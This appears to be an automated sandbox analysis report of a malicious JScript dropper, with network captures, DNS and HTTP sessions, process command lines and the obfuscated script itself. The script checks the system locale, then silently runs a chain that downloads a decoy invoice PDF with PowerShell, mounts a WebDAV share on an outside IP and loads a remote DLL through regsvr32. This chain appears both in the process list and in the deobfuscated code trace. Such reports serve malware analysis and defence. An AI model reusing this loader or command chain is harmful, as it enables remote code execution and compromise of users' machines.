Jan 11, 2025 07:01:51.101845026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:51.101864100 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:51.101891994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:51.101900101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:51.101912022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:51.101929903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:51.101939917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:51.101950884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:51.101958990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:51.101979017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:51.102010012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:51.102021933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:51.102032900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:51.102050066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:51.102056980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:51.102065086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:51.102086067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:51.102094889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:51.102101088 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:51.102108955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:51.102122068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:51.102130890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:51.102140903 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:51.102168083 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:51.102200985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:51.102212906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:51.102242947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:51.102252007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:51.102257967 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:51.102298975 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:51.208143950 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:51.644289017 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:51.649245977 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:51.649341106 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:51.649512053 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:51.654277086 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:52.442328930 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:52.487133026 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:54.546062946 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 07:03:53.903333902 CET	56711	53	192.168.2.7	1.1.1.1
Jan 11, 2025 07:03:53.908190966 CET	53	56711	1.1.1.1	192.168.2.7
Jan 11, 2025 07:03:53.908294916 CET	56711	53	192.168.2.7	1.1.1.1
Jan 11, 2025 07:03:53.908317089 CET	56711	53	192.168.2.7	1.1.1.1
Jan 11, 2025 07:03:53.913157940 CET	53	56711	1.1.1.1	192.168.2.7
Jan 11, 2025 07:03:54.362462044 CET	53	56711	1.1.1.1	192.168.2.7
Jan 11, 2025 07:03:54.363930941 CET	56711	53	192.168.2.7	1.1.1.1
Jan 11, 2025 07:03:54.368947029 CET	53	56711	1.1.1.1	192.168.2.7
Jan 11, 2025 07:03:54.369019032 CET	56711	53	192.168.2.7	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:01:59.498691082 CET	55148	53	192.168.2.7	1.1.1.1
Jan 11, 2025 07:03:53.898844004 CET	53	64452	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 07:01:59.498691082 CET	192.168.2.7	1.1.1.1	0x1ea6	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 07:01:59.505291939 CET	1.1.1.1	192.168.2.7	0x1ea6	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:02:00.214690924 CET	1.1.1.1	192.168.2.7	0x301b	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:02:00.214690924 CET	1.1.1.1	192.168.2.7	0x301b	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	193.143.1.205	80	6596	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:01:49.605393887 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 07:01:50.371362925 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:01:50 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 07:01:50.371407986 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 07:01:50.371464014 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 07:01:50.371499062 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 07:01:50.371536016 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 07:01:50.371592045 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 07:01:50.371623993 CET	1236	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 11, 2025 07:01:50.371659994 CET	1236	IN	Data Raw: 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 07 f3 a1 92 41 bb 12 Data Ascii: sX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZSiu5Ut
Jan 11, 2025 07:01:50.371692896 CET	1236	IN	Data Raw: a6 84 86 2f 65 ee 47 02 e4 bf 9a 9f 04 08 5f 5c 3f 63 eb 7f 0c c0 fc 30 80 f9 14 08 83 7b f9 d5 2c bf d3 16 ea a1 f5 3f 6e 51 ff b3 1f 85 16 e9 47 44 d3 55 95 d3 f6 42 77 5a 3f 2a be e8 db 9b af b7 01 6c ce aa bd 04 bb 2b 7f 60 68 1b 43 3f 0e 62 Data Ascii: /eG_\?c0{,?nQGDUBwZ?*l+`hC?bC31t_PC={6H=17`\|d%4,hze?{l1@PB%hZ/[/Im4UQCcrW~&TZ.QcaRU_rWP5[t0Wi+3=^
Jan 11, 2025 07:01:50.371728897 CET	1236	IN	Data Raw: 00 00 80 69 f0 c5 12 00 6c 81 bf af fa 33 10 7d 7c 1c 3d 8e d0 9c de 38 7a 68 63 7d 0f cd 1d a8 27 bd 49 02 90 ee 65 a9 84 a6 aa 92 d2 8f ce a0 3f fd f4 d3 8f 3f fe f8 c3 0f 3f fc 33 32 fb fb b3 ff 55 aa 68 1a 14 9d 7d 10 c9 43 e5 1e 6a c8 54 a0 Data Ascii: il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAu
Jan 11, 2025 07:01:50.376638889 CET	996	IN	Data Raw: 9d 1d 73 e7 fd 85 a7 49 9a 1e 9a db 69 19 66 8b b0 59 84 3b 72 d3 c4 a5 c4 d0 d4 80 7c 09 4d 19 f4 6f ad bf f6 d2 7f 4d 55 74 f6 6b a4 87 ca be dc 70 59 ae 4c 84 49 12 4d 19 b4 be 84 ea 91 3d 33 b5 97 fe 4e 61 64 2f 37 a6 5a 58 db 6b 4a e8 e8 3e Data Ascii: sIifY;r\|MoMUtkpYLIM=3Nad/7ZXkJ>U?HX*%;3s{^aZf\\|C\L_DNdAkz;tz+s}PZ]Bk^3\|-a\#i3\|2GsrGKhd@B oZ-n1<0Cz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	193.143.1.205	8888	7452	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:01:51.649512053 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 07:01:52.442328930 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:01:52 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	01:01:46
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3244127882174020209.js"
Imagebase:	0x7ff6fed30000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:01:46
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll
Imagebase:	0x7ff67c970000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:01:46
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:01:47
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	01:01:50
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	01:01:50
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff67c970000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	01:01:50
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6b45d0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	01:01:51
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	01:01:51
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	01:01:51
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1760,i,15597962635925124869,13760703389510911259,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function tuewgizu() {	tuewgizu() ➔ undefined
1	qjylp = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var qooztzoh = this[wmauk + pwaoe + qrscrrmxy + cinoa + cfieqo + pqydujf + ajuuceu + nxgja] ( this[fythn + pigpebazn + umenk + qrscrrmxy + xmaux + wmauk + nxgja][ieaavvr + qrscrrmxy + cfieqo + pwaoe + nxgja + cfieqo + htgwwz + otrovnx + amnnv + cfieqo + umenk + nxgja] ( fythn + pigpebazn + umenk + qrscrrmxy + xmaux + wmauk + nxgja + oewwc + pigpebazn + jxvih + cfieqo + lrkecu + lrkecu ) [qkrshssuj + cfieqo + wqvjv + qkrshssuj + cfieqo + pwaoe + krqwmw] ( bdocnbtll + jpqfxb + dgflu + lpnkd + jhszzi + ieaavvr + loxia + qkrshssuj + qkrshssuj + dgflu + cwpbiqjel + rgdgmlg + jhszzi + loxia + pigpebazn + dgflu + qkrshssuj + pjvyupxzx + ieaavvr + sajoxpts + ajuuceu + nxgja + qrscrrmxy + sajoxpts + lrkecu + mdrcxf + jnadcrr + pwaoe + ajuuceu + cfieqo + lrkecu + pjvyupxzx + pqydujf + ajuuceu + nxgja + cfieqo + qrscrrmxy + ajuuceu + pwaoe + nxgja + xmaux + sajoxpts + ajuuceu + pwaoe + lrkecu + pjvyupxzx + yqvndcg + sajoxpts + umenk + pwaoe + lrkecu + cfieqo ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( wqpllb = 0 ; wqpllb < qjylp[lrkecu + cfieqo + ajuuceu + wqvjv + nxgja + jxvih] ; ++ wqpllb )
4	{
5	if ( qooztzoh == qjylp[wqpllb] )
6	{
7	qooztzoh = true;
8	break ;
9	}
10	}
11	if ( qooztzoh !== true )
12	this[fythn + pigpebazn + umenk + qrscrrmxy + xmaux + wmauk + nxgja][swhpcofej + ukejgb + xmaux + nxgja] ( );
13	this[fythn + pigpebazn + umenk + qrscrrmxy + xmaux + wmauk + nxgja][ieaavvr + qrscrrmxy + cfieqo + pwaoe + nxgja + cfieqo + htgwwz + otrovnx + amnnv + cfieqo + umenk + nxgja] ( fythn + pigpebazn + umenk + qrscrrmxy + xmaux + wmauk + nxgja + oewwc + pigpebazn + jxvih + cfieqo + lrkecu + lrkecu ) [qrscrrmxy + ukejgb + ajuuceu] ( umenk + petvhr + krqwmw + mdrcxf + ejogyf + umenk + mdrcxf + wmauk + sajoxpts + yqsmr + cfieqo + qrscrrmxy + cinoa + jxvih + cfieqo + lrkecu + lrkecu + oewwc + cfieqo + yalpbw + cfieqo + mdrcxf + zfydqoxtf + ieaavvr + sajoxpts + petvhr + petvhr + pwaoe + ajuuceu + krqwmw + mdrcxf + sszqe + pqydujf + ajuuceu + imdisls + sajoxpts + izpeusqhl + cfieqo + zfydqoxtf + fythn + cfieqo + otrovnx + qkrshssuj + cfieqo + jauer + ukejgb + cfieqo + cinoa + nxgja + mdrcxf + zfydqoxtf + htgwwz + ukejgb + nxgja + mnkhtily + xmaux + lrkecu + cfieqo + mdrcxf + nnihjlw + nxgja + cfieqo + petvhr + wmauk + nnihjlw + pjvyupxzx + xmaux + ajuuceu + imdisls + sajoxpts + xmaux + umenk + cfieqo + oewwc + wmauk + krqwmw + lfbbt + mdrcxf + jxvih + nxgja + nxgja + wmauk + azidpm + ejogyf + ejogyf + emzdv + rtwawvwz + milyj + oewwc + emzdv + ikjpp + milyj + oewwc + emzdv + oewwc + zwzrg + qmqzzzx + xmmgmbnq + ejogyf + xmaux + ajuuceu + imdisls + sajoxpts + xmaux + umenk + cfieqo + oewwc + wmauk + jxvih + wmauk + sszqe + ezocgwhje + ezocgwhje + cinoa + nxgja + pwaoe + qrscrrmxy + nxgja + mdrcxf + nnihjlw + nxgja + cfieqo + petvhr + wmauk + nnihjlw + pjvyupxzx + xmaux + ajuuceu + imdisls + sajoxpts + xmaux + umenk + cfieqo + oewwc + wmauk + krqwmw + lfbbt + ezocgwhje + ezocgwhje + umenk + petvhr + krqwmw + mdrcxf + ejogyf + umenk + mdrcxf + ajuuceu + cfieqo + nxgja + mdrcxf + ukejgb + cinoa + cfieqo + mdrcxf + pjvyupxzx + pjvyupxzx + emzdv + rtwawvwz + milyj + oewwc + emzdv + ikjpp + milyj + oewwc + emzdv + oewwc + zwzrg + qmqzzzx + xmmgmbnq + mkdvlxnch + yimawcwq + yimawcwq + yimawcwq + yimawcwq + pjvyupxzx + krqwmw + pwaoe + imdisls + yqsmr + yqsmr + yqsmr + qrscrrmxy + sajoxpts + sajoxpts + nxgja + pjvyupxzx + ezocgwhje + ezocgwhje + umenk + petvhr + krqwmw + mdrcxf + ejogyf + umenk + mdrcxf + qrscrrmxy + cfieqo + wqvjv + cinoa + imdisls + qrscrrmxy + milyj + zwzrg + mdrcxf + ejogyf + cinoa + mdrcxf + pjvyupxzx + pjvyupxzx + emzdv + rtwawvwz + milyj + oewwc + emzdv + ikjpp + milyj + oewwc + emzdv + oewwc + zwzrg + qmqzzzx + xmmgmbnq + mkdvlxnch + yimawcwq + yimawcwq + yimawcwq + yimawcwq + pjvyupxzx + krqwmw + pwaoe + imdisls + yqsmr + yqsmr + yqsmr + qrscrrmxy + sajoxpts + sajoxpts + nxgja + pjvyupxzx + xmmgmbnq + ikjpp + yysty + rtwawvwz + emzdv + qmqzzzx + qmqzzzx + yswhdkynf + emzdv + milyj + qmqzzzx + zwzrg + qmqzzzx + yysty + oewwc + krqwmw + lrkecu + lrkecu, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll",0,false) ➔ 0
14	}
15	mnkhtily = "t";
16	mnkhtily = "Y";
17	mnkhtily = "q";
18	mnkhtily = "D";
19	mnkhtily = "P";
20	mnkhtily = "b";
21	mnkhtily = "D";
22	mnkhtily = "o";
23	mnkhtily = "N";
24	mnkhtily = "l";
25	mnkhtily = "l";
26	mnkhtily = "S";
27	mnkhtily = "a";
28	mnkhtily = "W";
29	mnkhtily = "o";
30	mnkhtily = "m";
31	mnkhtily = "j";
32	mnkhtily = "T";
33	mnkhtily = "w";
34	mnkhtily = "O";
35	mnkhtily = "T";
36	mnkhtily = "a";
37	mnkhtily = "d";
38	mnkhtily = "M";
39	mnkhtily = "A";
40	mnkhtily = "X";
41	mnkhtily = "U";
42	mnkhtily = "b";
43	mnkhtily = "E";
44	mnkhtily = "X";
45	mnkhtily = "S";
46	mnkhtily = "c";
47	mnkhtily = "L";
48	mnkhtily = "t";
49	mnkhtily = "g";
50	mnkhtily = "I";
51	mnkhtily = "o";
52	mnkhtily = "F";
53	mnkhtily = "F";
54	xmmgmbnq = "U";
55	xmmgmbnq = "L";
56	xmmgmbnq = "o";
57	xmmgmbnq = "C";
58	xmmgmbnq = "N";
59	xmmgmbnq = "Y";
60	xmmgmbnq = "l";
61	xmmgmbnq = "x";
62	xmmgmbnq = "z";
63	xmmgmbnq = "O";
64	xmmgmbnq = "e";
65	xmmgmbnq = "O";
66	xmmgmbnq = "d";
67	xmmgmbnq = "E";
68	xmmgmbnq = "f";
69	xmmgmbnq = "f";
70	xmmgmbnq = "Z";
71	xmmgmbnq = "t";
72	xmmgmbnq = "x";
73	xmmgmbnq = "J";
74	xmmgmbnq = "Z";
75	xmmgmbnq = "O";
76	xmmgmbnq = "L";
77	xmmgmbnq = "S";
78	xmmgmbnq = "z";
79	xmmgmbnq = "O";
80	xmmgmbnq = "X";
81	xmmgmbnq = "l";
82	xmmgmbnq = "O";
83	xmmgmbnq = "5";
